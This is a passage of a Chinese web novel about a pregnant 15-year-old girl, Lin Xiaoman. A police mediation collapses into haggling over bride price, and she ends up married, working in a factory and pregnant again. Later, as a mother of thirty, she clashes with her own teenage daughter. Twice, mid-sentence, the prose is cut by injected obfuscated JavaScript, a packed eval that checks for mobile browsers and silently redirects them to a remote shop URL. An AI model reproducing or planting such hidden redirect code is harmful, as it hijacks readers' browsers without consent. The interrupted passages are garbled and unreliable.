“不是钱的事是啥事?我闺女让他们家小子糟蹋了,不得赔钱?” 男方妈又跳起来:“赔钱?做梦!你闺女自己送上门来的,凭啥赔钱?” “你再说一遍?” “我说一百遍也是这话!你闺女就是个骚货,勾引我儿子——” 奶奶站起来,抄起椅子就要砸过去。 警察一把抱住她:“阿姨!阿姨别冲动!” 屋里乱成一团。 林小满缩在角落里,抱着头,浑身发抖。 林雨抱着她,也在发抖。 林小满的妈还在骂,男方妈也在骂,两个人对骂,什么难听骂什么。爷爷气得脸发紫,捂着胸口喘不上气。班主任在旁边劝,警察在中间拉,嗓子都喊哑了。 周深一直低着头,不说话。 林小满抬起头,看了他一眼。 他也在看她。 那眼神她说不上来是什么。对不起?心疼?还是别的什么? 她不知道。 她只知道她想吐。 调解室里终于安静下来,是因为警察吼了一句:“都给我闭嘴!再吵全部拘留!” 屋里安静了。 警察喘着气,看着这一屋子人。 “行,你们吵,吵完了没?吵完了我说话。” 没人吭声。 “第一,这个事,法律上不构成□□。女方自愿,男方未成年,够不上犯罪。所以别说什么赔钱不赔钱的,那不是法律能管的。” 林小满的妈张了张嘴,想说什么,又闭上了。 “第二,孩子的事,是生是打,你们自己商量。法律不管这个,只管你们别闹出人命。” 男方妈赶紧说:“那就生,我们家要。” “你闭嘴。”警察瞪了她一眼,“我还没说完。” 男方妈不说话了。 “第三,上学的事。”警察看着林小满的爸妈,“刚才老师说得很清楚,九年义务教育,必须完成。你们当父母的,有这个责任。她生不生孩子是她的事,但学必须上完。听明白没有?” 林小满的妈撇撇嘴,没说话。 “问你话呢,听明白没有?” “……明白了。” 警察又看着男方父母。 “还有你们。这孩子要是真嫁到你们家,也得上学。别说什么上啥学,法律规定的,谁也不能拦着。” 男方妈想说什么,被他爸拉了一下,没说。 警察舒了口气。 “行了,你们自己商量吧。商量好了告诉我们一声,做个笔录,这事就结了。” 屋里沉默了一会儿。 林小满的妈先开口。 “那到底咋办?生还是不生?” 男方妈抢着说:“生!我们家要!” “要?你说要就要?彩礼呢?” “你还有脸要彩礼?” “怎么没脸?我闺女肚子都让你们家搞大了,不要彩礼白送你们?做梦!” 两个人又要吵起来。 班主任插嘴了。 “我再说一遍,她才十五岁,不适合生孩子。” 男方妈看着她,一脸的嫌弃。 “老师,你是老师你当然这么说。但我们农村人不一样,早结婚早生孩子,多正常的事。你们城里人那一套,在我们那儿行不通。” “法律行不通就行不通。法律不管你农村城里。” “法律也不能管人家生孩子吧?” 班主任被她噎住了。 林小满的妈在旁边听着,眼珠转了转。 “那这样,生也行,彩礼八万八。” 男方妈差点跳起来。 “八万八?你抢钱呢?” “八万八还多?现在娶个媳妇多少钱你不知道?” “你闺女肚子都大了,还想要八万八?我告诉你,最多两万,爱要不要。” “两万?你打发要饭的呢?” “就两万,多一分没有。” “那打掉,你们家出手术费,再赔五万。” “凭啥赔五万?” “凭你儿子搞大我闺女肚子!” “是你闺女自己送上门的!” “你再说一遍?” 两个人又吵起来了。 林小满坐在角落里,听着那些话,一句一句,像刀子一样扎在她心上。 八万八。两万。五万。 她是一条命,还是一笔买卖? 她抬起头,看着那些吵得面红耳赤的大人。她妈,她爸,男方妈,男方爸。他们吵得那么认真,那么投入,好像真的在讨论什么重要的事。 但她知道,他们讨论的不是她。 是钱。 奶奶走过来,在她旁边坐下。 “小满。” 她抬起头。 奶奶看着她,眼眶红红的。 “你想咋办?” 她张了张嘴,说不出话。 她想说,我不知道。 她想说,我怕。 她想说,我想死。 但她什么都没说。 她只是低下头,又开始哭。 周深不知道什么时候走过来,蹲在她面前。 “林小满。” 她没抬头。 “林小满。” 她抬起头,看着他。 他脸上没什么表情,但眼睛里有东西。 “你咋想的?” 她看着他,看了很久。 然后她开口了,声音哑哑的。 “你想让我生还是打?” 他愣了一下。 “我……” “你说。” 他低下头,沉默了几秒。 “我不知道。” 她盯着他。 “你不知道?” “我……我也不知道咋办。生吧,养不起。打吧,你受罪。” 她看着他,看着他那张脸,看着他皱着的眉头,看着他低下去的头。 她突然想笑。 “周深。” 他抬起头。 “你爱我吗?” 他愣住了。 “爱……爱吧。” “爱吧?”她笑了一下,笑得很难看,“爱还是不爱?” 他不说话了。 她等着。 等了好久,他才开口。 “我不知道什么是爱。” 她看着他,眼泪又流下来。 “我也不知道。” 他们就这么蹲在那儿,面对面,谁也不说话。 大人们还在吵。 八万八。两万。五万。打掉。生下来。上学。嫁人。 吵成一锅粥。 警察在旁边看着,叹了口气。 干这行这么多年,这种事见多了。 每次都是这样。 吵来吵去,吵不出个结果。 最后只能他们自己解决。 他站起来,走到门口,点了一根烟。 屋里还在吵。 班主任被气得脸都白了,站起来要走。林小满的妈拉住她,让她评理。男方妈在旁边骂骂咧咧。奶奶抱着林小满,眼泪流个不停。爷爷坐在那儿,一句话不说,只是看着窗外。 窗外天黑了。 路灯亮了。 这一屋子的人,吵得连灯都亮了都不知道。 林小满靠在奶奶身上,闭着眼睛。 她不想听了。 她什么都不想听了。 她只想睡一觉。 睡醒了,也许这一切就过去了。 林雨在旁边,一直握着她的手。 “林小满。” 她睁开眼。 林雨看着她,眼眶红红的。 “你听见他们说的了吗?” 她点头。 “你咋想?” 她沉默了一会儿。 “我不知道。” 林雨握着她的手,握得更紧了。 “你别怕。” 她看着林雨,看着这个从小学就一起玩的朋友,看着她红红的眼眶,看着她着急的样子。 “林雨。” “嗯?” “谢谢你。” 林雨的眼泪下来了。 “谢啥谢,我又没帮你啥。” “你陪我来的。” 林雨擦了擦眼泪,没说话。 那边大人们还在吵。 警察抽完烟,走进来。 “行了行了,吵完了没?吵完了说正事。” 没人理他。 “我说,吵完了没?” 还是没人理他。 他叹了口气,走到桌子前头,拍了拍桌子。 “都给我闭嘴!” 屋里安静了。 他看着这一屋子人,看着他们一个个面红耳赤的样子。 “我再说一遍。今天叫你们来,是解决问题,不是让你们吵架。你们这样吵到天亮也吵不出个结果。” 没人说话。 “现在,我给你们两个选择。第一,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347232|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己回去商量,商量好了再来找我。第二,现在在这儿商量,商量出个结果,我给你们做笔录。你们选。” 沉默了几秒。 林小满的妈开口了。 “那就在这儿商量。反正早晚得说清楚。” 男方妈点头。 “行,就在这儿说。” 警察点点头。 “那好。你们说,我听着。” 屋里安静了几秒。 然后又开始吵。 还是那几句。八万八。两万。五万。生。打。嫁人。上学。 吵来吵去,绕来绕去,绕不出那个圈。 林小满听着听着,就睡着了。 她太累了。 累得连害怕都没力气了。 她靠在奶奶身上,闭上眼睛,睡着了。 梦里她看见一条河。 很宽,很长的河。 河那边有什么,她看不清。 但她想过去。 她不知道过了多久,被人推醒了。 “林小满。” 她睁开眼,是奶奶。 “咋了?” 奶奶看着她,眼眶红红的。 “商量好了。” 她愣了一下。 “啥?” 奶奶张了张嘴,没说出话来。 男方妈在旁边接话了。 “生。我们家要。彩礼三万,办酒席的钱我们出。生完孩子再领证。” 林小满听着那些话,一个字一个字,像从很远的地方飘来的。 她转过头,看着她妈。 她妈站在那儿,脸上说不清是什么表情。 “妈?” 她妈没看她。 “妈!” 她妈抬起头,看了她一眼。 “看我干啥?你自己惹的事,自己担着。” 她愣住了。 “妈……” “别叫我妈。我没你这么丢人的闺女。” 奶奶在旁边急了。 “你说啥呢?” “我说错了?她十五岁就跟人上床,怀上野种,不是丢人是啥?” 奶奶气得浑身发抖。 “你——” “我咋了?我说的不对?我告诉你,这事我跟他们家说好了,三万彩礼,生完孩子领证。以后她的事我不管了,爱咋咋地。” 林小满看着她妈,看着她那张脸,看着她说话时动的嘴。 那是她妈。 生她的妈。 现在说不管她了。 她转过头,看着她爸。 她爸站在那儿,低着头,一句话不说。 “爸?” 她爸抬起头,看了她一眼,又低下去了。 没说话。 她什么都明白了。 她转过头,看着奶奶。 奶奶哭了。 爷爷也哭了。 林雨在旁边,攥着她的手,攥得紧紧的。 她转过头,看着周深。 周深站在他爸妈旁边,低着头,不知道在想什么。 她看了他很久。 他没抬头。 她又转过头,看着那个说要娶她的男方妈。 那个胖女人正在跟她妈说话,说酒席怎么办,说彩礼什么时候给,说过门以后怎么住。 她没看她一眼。 林小满站起来。 所有人都看着她。 她看着他们,一个一个看过去。 她妈。她爸。男方妈。男方爸。周深。奶奶。爷爷。班主任。警察。林雨。 然后她开口了。 “你们问过我吗?” 没人说话。 “你们问过我愿不愿意吗?” 还是没人说话。 她笑了一下,笑得很难看。 “我是个人,不是东西。你们不能把我卖了。” 男方妈愣了一下,然后笑了。 “卖?谁卖你了?我们是娶你过门,给你一个家。你还不知好歹?” 林小满看着她。 “我不去。” 男方妈的笑僵住了。 “啥?” “我说,我不去。” 屋里一下子安静了。 林小满的妈跳起来。 “你说啥?不去?你肚子都大了不去?你让谁养你?” 林小满看着她妈。 “我自己养。” “你养?你拿什么养?你十五岁,初中没毕业,你拿什么养?” “不知道。但我自己养。” 她妈气得脸都白了。 “你——你个没良心的东西!我辛辛苦苦把你养大,你就这么报答我?” 林小满看着她,看着那张气急败坏的脸。 “妈。” “干啥?” “你养过我吗?” 她妈愣住了。 “我从小跟爷爷奶奶长大。你一年回来一次,有时候一次都不回。我吃什么穿什么,你知道多少?” 她妈张了张嘴,没说出话来。 “我被人欺负的时候,你在哪?我饿肚子的时候,你在哪?我害怕的时候,你在哪?” 她妈的脸色变了。 “你——你少说这些没用的。我跟你爸在外面打工挣钱,还不是为了你?” “为了我?”林小满笑了一下,“那钱呢?” 她妈不说话了。 林小满转过头,看着那个说要娶她的男方妈。 “阿姨,谢谢你。但我不嫁。” 男方妈的脸色也变了。 “你不嫁?你肚子里的孩子咋办?” “不知道。但我自己想办法。” “你自己想办法?你能想啥办法?” 林小满没回答。 她转过头,看着周深。 周深终于抬起头,看着她。 “周深。” “嗯?” “你愿意娶我吗?” 周深愣住了。 “我……” “说实话。” 他看着她的眼睛,看了很久。 然后他低下头。 不说话了。 林小满笑了。 笑得很轻,很淡。 “我知道了。” 她转过头,看着警察。 “警察叔叔,我可以走了吗?” 警察看着她,看着这个十五岁的女孩,看着她的眼睛。 那双眼睛里没有眼泪,没有害怕,什么都没有。 空空的。 “可以。” 林小满点点头,往外走。 奶奶在后面喊她。 她没回头。 林雨追出去。 “林小满!” 她停下来。 林雨跑到她面前,看着她。 “你去哪?” “不知道。” “那我陪你。” 林小满看着她,看着这个从小一起长大的朋友。 “林雨。” “嗯?” “谢谢你。” 林雨的眼泪又下来了。 林小满伸手,给她擦了擦眼泪。 “别哭了。” “你怎么办?” 林小满想了想。 “不知道。但总会有办法的。” 她转身,走进夜色里。 路灯黄黄的,照在地上。 她的影子很长很长。 林雨站在原地,看着她的背影,看着它越走越远,越走越小,最后消失在巷子尽头。 身后,派出所的灯还亮着。 里面还在吵。 三万彩礼,酒席,领证,生完孩子再说。 吵得热闹。 林雨转过身,看着那扇门。 她突然很想吐。 15. 命运循环14 林雨是在一个月后收到班主任微信的。 那天放学,她刚到家,书包还没放下,手机就震了。拿出来一看,是班主任的头像,那个红色的消息提示让她心里咯噔一下。 班主任:林雨,在吗? 林雨赶紧回:在的,老师。 班主任:林小满最近联系你吗? 林雨盯着这行字,盯了几秒。 她联系过吗?联系过。上周还发过消息,说在电子厂上班了,每天站十二个小时,腿都是肿的。她问疼不疼,那边说疼也得干,不然没工资。 但她不知道该不该跟老师说。 班主任又发了一条:学校有个保学任务,需要统计辍学学生的情况。林小满的情况你知道的,她还没完成义务教育,按法律规定必须回来上学。你能帮我联系她吗?我想跟她聊聊。 林雨想了想,回:老师,她在外地。 班主任:我知道。但电话总能打吧?你把她微信推给我,或者让她给我打个电话。 林雨犹豫了一会儿,把林小满的微信推过去了。 然后她给林小满发了条消息:班主任找你,我推给她了。 那边没回。 一直到晚上,林小满才回了一个字:嗯。 林雨不知道她会不会联系班主任。 第二天上课的时候,班主任把她叫到办公室。 “林小满回你消息了吗?” “回了,但就说了一个嗯。” 班主任叹了口气。 “我昨晚加她了,她没通过。打电话也不接。” 林雨站在那儿,不知道该说什么。 班主任看着她,沉默了一会儿。 “林雨,老师知道你跟她关系好。她现在这样,你肯定也难受。但老师得想办法让她回来上学。她才十五岁,初中都没毕业,这么小就出去打工,以后怎么办?” 林雨低着头,不说话。 “你帮我劝劝她,行吗?” 林雨点点头。 那天晚上,她给林小满发了很多消息。 林雨:班主任找你,你怎么不加她? 林雨:她说让你回去上学。 林雨:你咋想的? 林雨:回话啊。 等了很久,林小满回了:上啥学,都结婚了。 林雨看着那行字,愣住了。 她想起一个月前,在派出所门口,林小满说她不去,说她不去男方家,说她自己养自己。 这才一个月。 她打字:你真结婚了? 那边回:嗯。 林雨:什么时候? 林小满:上星期。就请了几桌,简单办了。 林雨盯着屏幕,不知道该回什么。 她又发:那你以后咋办? 林小满:打工呗。他在电子厂,我也进了,一个厂的。 林雨:你不上学了? 林小满:不上了。 林雨:你才十五! 林小满:十五咋了,结婚了就这样。 林雨看着这些字,眼眶有点热。 她打字:林小满。 那边回:嗯? 她打了又删,删了又打,最后只发了一句:你还好吗? 那边沉默了很久。 然后回:好。 就一个字。 林雨盯着那个字,盯了很久。 她不知道什么叫好。 每天站十二个小时,腿肿了叫好?十五岁嫁人叫好?不念书了叫好? 但她没问。 她只回:那就好。 第二天她把聊天记录给班主任看了。 班主任看了很久,然后把手机还给她。 “把她电话给我。” 林雨翻出来,给了。 班主任当着她的面拨过去。 响了很久,没人接。 再拨,还是没人接。 第三次拨,终于接了。 那边很吵,有机器的声音,嗡嗡嗡的,还有人在喊什么。林小满的声音从那片嘈杂里传出来,小小的,远远的。 “喂?” “林小满,我是班主任。” 那边沉默了。 “喂?听得见吗?” “……听得见。” 班主任深吸一口气。 “林小满,老师找你,是想跟你说上学的事。你现在在外地是吧?” “嗯。” “在电子厂打工?” “嗯。” “一个月多少钱?” “三千多。” 班主任顿了顿。 “三千多,听着不少,但你想想,以后呢?你才十五岁,没学历没技术,能打一辈子工吗?” 那边没说话。 “老师知道你的情况。结婚的事,老师也听说了。但你听老师说,你现在回来,还能把学上完。上完初中,想上中专也行,想上技校也行,学个技术,以后有个傍身的本事。你现在这样,以后怎么办?” 那边还是没说话。 “林小满?” “……老师。” “嗯?” “我回不去了。” 班主任愣了一下。 “什么叫回不去了?” “就是回不去了。”那边的声音很平,像在说别人的事,“结婚花了钱,彩礼收了,酒席办了。我要是回去,钱就没了。” “钱钱钱,你就知道钱?”班主任的声音高起来,“你一辈子就值那三万块钱?” 那边沉默了。 班主任缓了缓语气。 “小满,老师不是逼你。老师就是心疼你。你才十五岁,以后的路还长。你现在不回来,以后想回来就难了。” “我知道。” “那你回来吗?” 那边沉默了很久。 机器声嗡嗡的,有人在喊什么,远远的,听不清。 “老师。” “嗯?” “我怀孕了。” 班主任愣住了。 “什么?” “又怀了。快两个月了。” 班主任张了张嘴,没说出话来。 “所以回不去了。肚子大了,厂里也不能干了。他让我回老家养着,把孩子生下来。” 班主任的眼眶红了。 “小满……” “老师,谢谢你。”那边的声音还是很平,平得让人难受,“你是好人。但我回不去了。” 电话挂了。 班主任握着手机,坐在那儿,一动不动。 林雨在旁边,眼泪流了一脸。 班主任把手机还给她,站起来,走到窗边,看着外面。 外面阳光很好,操场上有人在跑步,有人在打球,有人在笑。 她看了一会儿,转过身来。 “林雨。” “嗯?” “你帮我再劝劝她。不管怎么样,学籍我先给她留着。万一她想通了,随时回来。” 林雨点点头。 但她知道,林小满不会回来了。 那天晚上,林雨又给林小满发消息。 林雨:班主任让我劝你。 林小满:嗯。 林雨:她说学籍给你留着,你想回来随时回。 林小满:知道了。 林雨:你真不回来? 林小满:真不。 林雨:为啥? 林小满:说了,回不去了。 林雨:怎么就回不去了?你是嫁人,又不是卖身。 林小满:你不懂。 林雨:你教我,我学。 那边沉默了一会儿。 林小满:他家拿了三万彩礼。我妈拿了。钱已经花了。 林雨:花哪了? 林小满:不知道。反正花了。我要是回去,我妈得拿钱还。她拿不出来。 林雨:那是你妈的事,不是你的事。 林小满:是我妈,也是我的事。 林雨看着这行字,不知道该说什么。 她又发:那你肚子里的孩子呢? 林小满:生。 林雨:你才十五! 林小满:快十六了。 林雨:十六也是孩子! 林小满:林雨。 林雨:嗯? 林小满:别劝了。没用。 林雨盯着这几个字,盯了很久。 然后她发:那你以后打算咋办? 林小满:不知道。先过吧。 林雨:他呢?对你好吗? 林小满:还行吧。就是天天上班,见不着人。 林雨:你一个人在家? 林小满:嗯,他租了个房子,我养胎。 林雨:你一个人行吗? 林小满:不行也得行。 林雨又不知道该说什么了。 她想起一个月前,在派出所门口,林小满说她不去男方家,说自己养自己。 那时候她眼睛里有光。 现在没了。 她打字:林小满。 那边回:嗯? 她打了很久,最后只发了一句:你好好照顾自己。 那边回:嗯。 然后又发了一条:林雨。 林雨:嗯? 林小满:谢谢你。 林雨看着这三个字,眼泪又下来了。 她想起小时候,她们一起上学,一起放学,一起去小卖部买辣条,一起在操场上跑。那时候林小满跑得比她快,总是跑在前面,回过头来喊她:快点啊,林雨,你怎么那么慢? 现在她跑不动了。 她被困在一个很远的地方,每天一个人待着,等着肚子里的孩子长大。 她才十五岁。 林雨把手机放下,躺在床上,看着天花板。 天花板上什么都没有,就是白白的,一片。 她想起林小满家的天花板,有一条裂缝,从墙角一直延伸到灯座边上。林小满说那是河,能顺着它走到很远的地方。 现在她真的走到很远的地方了。 回不来了。 第二天上课的时候,班主任又把她叫到办公室。 “昨晚跟她聊了吗?” “聊了。” “她怎么说?” “她说回不来了。” 班主任沉默了。 林雨把手机递给她,让她看聊天记录。 班主任一行一行看完,把手机还给她。 “她说得对,她妈拿了那三万,已经花了。她要回来,这钱就得还。她妈拿不出来,最后还得是她自己还。” 林雨听着,心里堵得慌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347233|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老师,真的没办法了吗?” 班主任看着她,看着她红红的眼眶,沉默了很久。 “林雨,你知道什么叫义务教育吗?” 林雨点点头。 “法律规定,每个孩子都必须接受九年义务教育。这是国家规定的,谁也不能剥夺。但是——” 她顿了顿。 “但是,如果孩子自己不愿意来,家长也不支持,我们能怎么办?报警?抓她回来?抓回来她再跑?有用吗?” 林雨不说话。 “老师干这行二十多年了,见过太多这样的孩子。有的回来了,有的没回来。回来的那些,有的是自己想通了,有的是家里出事了,有的是在外面混不下去了。没回来的那些——” 她停住了。 林雨等着。 “没回来的那些,有的还好,有的就……没了。” 林雨愣住了。 “什么叫没了?” 班主任看着她,没回答。 但林雨懂了。 她想起林小满说的那些话。 每天站十二个小时,腿肿了。 又怀孕了,两个月。 一个人在家养胎。 她才十五岁。 林雨从办公室出来,站在走廊里,看着操场。 阳光很亮,照得地上发白。有人在跑步,有人在打球,有人在笑。 她想起林小满也在这条走廊上走过,也在这个操场跑过。 那时候她跑得很快,总是跑在前面。 现在她不在了。 林雨掏出手机,给林小满发了一条消息。 林雨:我今天在操场跑步了,想起你以前跑得比我快。 那边没回。 等了一节课,还是没回。 等到放学,还是没回。 等到晚上,手机震了。 林小满:我现在跑不动了。 林雨看着这行字,眼眶又热了。 她打字:那你好好养着,以后好了再跑。 林小满:嗯。 林雨:林小满。 林小满:嗯? 林雨:不管你在哪,都好好的。 林小满:你也是。 林雨看着这两个字,看了很久。 窗外天黑了,路灯亮了。 她想起小时候,她们一起走夜路回家。林小满走在她左边,靠近马路的那边。她问林小满为什么总走那边,林小满说,这样车来了先撞我。 她当时笑了,说你怎么这么傻。 现在她想说,你才傻。 但她没机会说了。 因为林小满已经走了。 走到很远的地方去了。 回不来了。 一个月后,班主任在班里宣布了一件事。 “林小满同学的学籍,我给她保留到本学期结束。如果她下学期还不回来,就只能注销了。” 底下有人在交头接耳。 “她不是嫁人了吗?” “听说怀孕了。” “才多大啊,就怀孕了?” “啧啧啧。” 林雨坐在座位上,低着头,不说话。 班主任拍了拍桌子。 “安静。” 底下安静了。 班主任看了看全班,看了看那些十四五岁的脸。 “老师想跟你们说几句话。” 所有人都看着她。 “你们现在坐在这儿,上课、下课、写作业、考试,可能觉得烦,觉得累,觉得没意思。但老师告诉你们,能坐在这儿,是一种福气。” 没人说话。 “有的人,想坐在这儿,坐不了了。” 林雨的眼眶红了。 她知道班主任说的是谁。 下课的时候,她给林小满发了一条消息。 林雨:班主任今天说你了。 等了很久,那边回:说啥? 林雨:说你能坐在这儿是福气。 那边沉默了一会儿。 然后回:嗯。 林雨:林小满。 林小满:嗯? 林雨:你想回来吗? 那边沉默了更久。 久到林雨以为她不会回了。 手机震了。 林小满:想。 林雨看着这个字,眼泪流下来。 她打字:那你回来啊。 林小满:回不去了。 林雨:为什么? 林小满:说了,你不懂。 林雨:那你教我。 那边沉默了很久。 然后回了一条语音。 林雨点开,贴在耳边。 那边很安静,没有机器的声音,没有人喊,什么都没有。只有林小满的声音,轻轻的,远远的。 “林雨,我肚子大了。走不动了。” 林雨听着这句话,眼泪流了一脸。 她把手机放下,趴在桌子上,哭了很久。 旁边有人问她怎么了,她没回答。 她不知道该怎么回答。 她只是想起很多年前,她和林小满一起在操场上跑。林小满跑得很快,跑在前面,回过头来喊她:快点啊,林雨,你怎么那么慢? 那时候太阳很大,风很轻。 她们都还小。 16. 命运循环15 客厅的灯没开。 林小满坐在沙发上,黑暗里只有窗外透进来的路灯光,黄黄的,在地上画出一个模糊的方块。她就那么坐着,坐了很久,久到腿都麻了。 卧室的门关着。里面没声音。 刚才不是这样的。 刚才这屋里吵得能把房顶掀了。 她闭上眼睛,那些话还在耳朵里转,一句一句,转得她头疼。 “你凭什么翻我手机?” “凭我是你妈。” “我妈怎么了?我妈就能随便翻我东西?” “我不翻我能知道你跟那个男生聊天?聊到半夜十二点,聊什么?” “聊什么关你什么事?” “关我什么事?你十四岁,跟男生聊到半夜,你说关我什么事?” “我又没怎么样!” “没怎么样?你看看你聊的什么?‘我想你’、‘你睡了吗’、‘明天见’——这叫没怎么样?” “那怎么了?我跟我同学聊天不行吗?” “同学?你当我不知道?他是不是天天送你回家?是不是给你买奶茶?” “买了怎么了?他对我好!” “对你好?你知道什么叫对你好?” “我知道!比你对我好!” 林小满愣住了。 女儿站在那儿,看着她,眼睛瞪得圆圆的,里面全是火。 “你对我好?你什么时候对我好过?你天天就知道让我学习学习学习,让我写作业写作业写作业。我跟同学聊会儿天你都要管,你管过我开不开心吗?” 林小满张了张嘴,没说出话来。 “我同学的爸妈,人家带他们去玩,去旅游,去吃好吃的。你呢?你带我去过哪?你陪过我几天?你天天加班加班加班,回来就知道问我作业写完没有,考试考多少分。你问过我别的吗?” “我加班不是为了你?” “为我?为我什么?为我天天一个人在家?为我饿了自己泡面?为我晚上睡不着没人说话?” 林小满的眼眶红了。 “你——你怎么能这么说?” “我说的不对吗?你问问你自己,你陪我聊过天吗?你知道我喜欢什么吗?你知道我每天在想什么吗?你不知道!你什么都不知道!” 女儿的声音越来越大,大到整个屋子都在震。 “你就知道管我!管我学习!管我交朋友!管我跟谁聊天!你管过我吗?” 林小满的手抬起来,想打她。 女儿没躲,就那么看着她,眼睛瞪着她。 “你打啊。打啊。打死我算了。反正你也不想要我。” 林小满的手停在半空,抖得厉害。 没打下去。 女儿看了她一眼,那眼神她说不上来是什么。恨?失望?还是别的什么? 然后她转身,往自己屋里走。 “你去哪?” “不用你管。” “你给我站住!” 女儿没站住。她走进自己屋,把门摔上。砰的一声,震得墙都在抖。 林小满追过去,推门,推不开。锁了。 “开门!” 不开。 “我让你开门!” 还是不开。 她在门口站了一会儿,站了很久,然后转身回到客厅,坐在沙发上。 灯也没开。 就这么坐着。 坐到现在。 那些话还在耳朵里转。 “你问过我开不开心吗?” “你陪我聊过天吗?” “你知道我喜欢什么吗?” “你管过我吗?” 林小满闭上眼睛,眼泪从眼角流下来,顺着脸颊,流到耳朵里。 她不知道自己坐了多久。 只知道窗外那点黄黄的光,从左边移到了右边。 她想起很多事。 想起自己十五岁的时候,也是这么跟奶奶吵的。 那时候她也说过同样的话。 “你知道我想要什么吗?” “你知道我每天在想什么吗?” “你管过我吗?” 奶奶当时怎么说的来着? “我不管你?我给你吃给你穿,给你交学费,给你买手机买平板,我还不管你?” 那时候她觉得奶奶不懂她。 现在她懂了。 奶奶那时候跟她现在一样。 都是没办法。 手机震了一下。 她拿起来看,是女儿发的微信:你不用管我了。我睡觉了。 她盯着那几个字,盯了很久。 然后她回:明天再说。 那边没回。 她把手机放下,继续坐着。 脑子里开始过电影。 十五岁那年的事,一件一件,全冒出来了。 周深。火车站。派出所。调解室。三万彩礼。结婚。怀孕。电子厂。一个人养胎。生孩子。 然后呢? 然后她抱着那个小小的孩子,看着她皱巴巴的脸,看着她闭着的眼睛,看着她小小的手指。 那是她女儿。 十四年前那个晚上,她抱着她,哭了很久。 不是高兴,是害怕。 她不知道该怎么养她。她自己还是个孩子,怎么养孩子? 但她养了。 磕磕绊绊地养,跌跌撞撞地养,一边打工一边养,一边挨骂一边养。 养到她会走路,会说话,会叫妈妈。 养到她上幼儿园,上小学,上初中。 养到她十四岁。 养到她跟她说:“你管过我吗?” 林小满把脸埋进手里。 肩膀抖得厉害,但她没出声。 她想起周深。 那个人,她现在都不太记得长什么样了。只记得他给她买过汉堡,说过“我养你”。然后呢?然后就没有然后了。 孩子生下来没多久,他就跑了。 说是去打工,打了一年,没回来。再后来听说又找了别人,在那边结婚了。 她没去找他。懒得找。 从那时候起,她就知道,这世上能靠的只有自己。 她开始打工。什么活都干过。服务员、收银员、发传单的、卖衣服的。后来学了美容,在美容院干了几年,攒了点钱,自己开了个小店。再后来店关了,又去干别的。 什么都干过。 就是没闲过。 因为她得养孩子。 孩子小时候放在奶奶那儿,她周末回去看。每次回去,奶奶都说:“你瘦了。”“别太拼。”“孩子好好的,你放心。” 她放心吗? 她不放心。 但她没办法。 不拼,拿什么养她? 后来孩子大了,接回来上小学。她一边上班一边带,早上送晚上接,中午还得赶回来做饭。累得跟狗一样,但她乐意。 因为她觉得,她跟奶奶不一样。 奶奶那时候不懂她,她懂。 她不会让孩子受她受过的苦。 但现在呢? 孩子说她不关心她,说她不陪她,说她什么都不懂。 跟当年的她,一模一样。 林小满抬起头,看着那扇关着的门。 门后面是她女儿,十四岁,正在叛逆期。 跟她当年一模一样。 她突然想起一件事。 当年奶奶是不是也这么看着她?看着她关上的门,坐在客厅里,一个人? 当年奶奶是不是也想过:我该怎么办?我怎么才能让她明白我是为她好? 当年奶奶是不是也哭过? 她不知道。 她从来没问过。 那时候她只顾着自己生气,只顾着觉得自己委屈,根本没想过奶奶是什么感受。 现在她知道了。 现在她懂了。 但已经晚了。 奶奶走了三年了。 她站起来,走到女儿门口,站了一会儿。 里面没声音。 她抬起手,想敲门,又放下了。 她能说什么? 说妈妈懂你?妈妈也经历过? 说了有用吗? 当年奶奶说这些话的时候,她听了吗? 没听。 一句都没听。 她转身,回到客厅,又坐下。 手机又震了。 这回不是女儿,是工作群里发的消息:明天开会,提前到。 她把手机放下,没回。 她不想回。 她什么都不想做。 她只想坐在这儿,把这一辈子的事都想一遍。 想清楚自己是怎么走到今天的。 想清楚自己到底错在哪。 想清楚为什么她拼了命地避免,最后还是跟奶奶一样。 十四年前的那个晚上,她在派出所门口,对着林雨说:“我自己养。” 十四年后,她确实自己养了。 一个人,从孩子满月养到十四岁。 没让任何人帮过。 没让任何人操过心。 但现在呢? 孩子说她不爱她。 孩子说她不管她。 孩子说她不陪她。 她不爱她吗? 她不爱她,能一个人扛这么多年? 她不爱她,能省吃俭用给她报班买书? 她不爱她,能每天加班到半夜就为了多赚点钱? 她不爱她,能被骂成这样还不舍得打她一下? 她爱。 但她不知道怎么让她知道。 就像奶奶当年,也不知道怎么让她知道。 林小满的眼泪又下来了。 这回没忍住,哭了出声。 哭得很难听,呜呜的,像小孩子。 她很久没这么哭了。 上次这么哭,是奶奶走的那天。 那时候她跪在灵堂前,哭了很久。不是哭奶奶走了,是哭她还有很多话没来得及说。想跟奶奶说对不起,想说她懂了,想谢谢她。 但说不成了。 奶奶听不见了。 现在她女儿也在那扇门后面,听不见她哭。 就算听见了,也不会懂。 因为她十四岁。 十四岁的时候,什么都懂,又什么都不懂。 她哭了一会儿,慢慢停下来。 擦干眼泪,站起来,去洗手间洗了把脸。 镜子里的自己,老了。 眼角有皱纹,眼睛下面有青的,头发里有白的。 她才三十岁。 但看起来像四十。 她盯着镜子里的自己,盯了很久。 然后她回客厅,坐下。 门还是关着的。 她看着那扇门,想起自己十五岁的时候,也这样关过门。 那时候她躲在屋里,不想见任何人。 奶奶在外面敲门,她不开。 奶奶喊她吃饭,她不吃。 奶奶隔着门跟她说话,她捂住耳朵不听。 后来奶奶不敲了。 